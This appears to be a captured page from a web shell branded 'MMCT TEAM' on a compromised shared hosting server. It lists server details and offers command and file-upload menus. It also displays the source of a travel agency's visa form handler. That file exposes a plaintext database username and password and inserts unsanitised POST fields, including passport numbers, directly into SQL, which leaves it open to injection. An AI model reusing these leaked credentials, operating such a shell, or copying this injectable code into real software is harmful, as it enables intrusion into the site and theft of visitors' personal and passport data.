MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.226.226.158
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/sainicraneservice.in/../.softaculous/../alkareemtravel.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/sainicraneservice.in/../.softaculous/../alkareemtravel.com/save_visit_visa.php
<?php
$servername = "localhost";
$username = "alkareem_alkareemtravel";
$password = ",e@hnr0KQ8_x";
$dbname = "alkareem_alkareemtravel";
// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);

if(isset($_POST['save']))
{

$sender_name = $_POST['sender_name'];
$sender_mobile = $_POST['sender_mobile'];
$sender_email = $_POST['sender_email'];
$passport_no = $_POST['passport_no'];
$country = $_POST['country'];
$no_of_days = $_POST['no_of_days'];


 $sql = "INSERT INTO `visit_visa`(`sender_name`, `sender_mobile`, `sender_email`, `passport_no`,`country`,`no_of_days`) VALUES('$sender_name','$sender_mobile','$sender_email','$passport_no','$country','$no_of_days')";
 
     $query_run = mysqli_query($conn, $sql);

if ($query_run) {
//   echo "New record created successfully";
echo "<script>alert('Successfully Submitted'); window.location = 'visit-visa.php';</script>"; 

}
else {
       echo " record not created";
       
}
}
 ?>

MMCT - 2023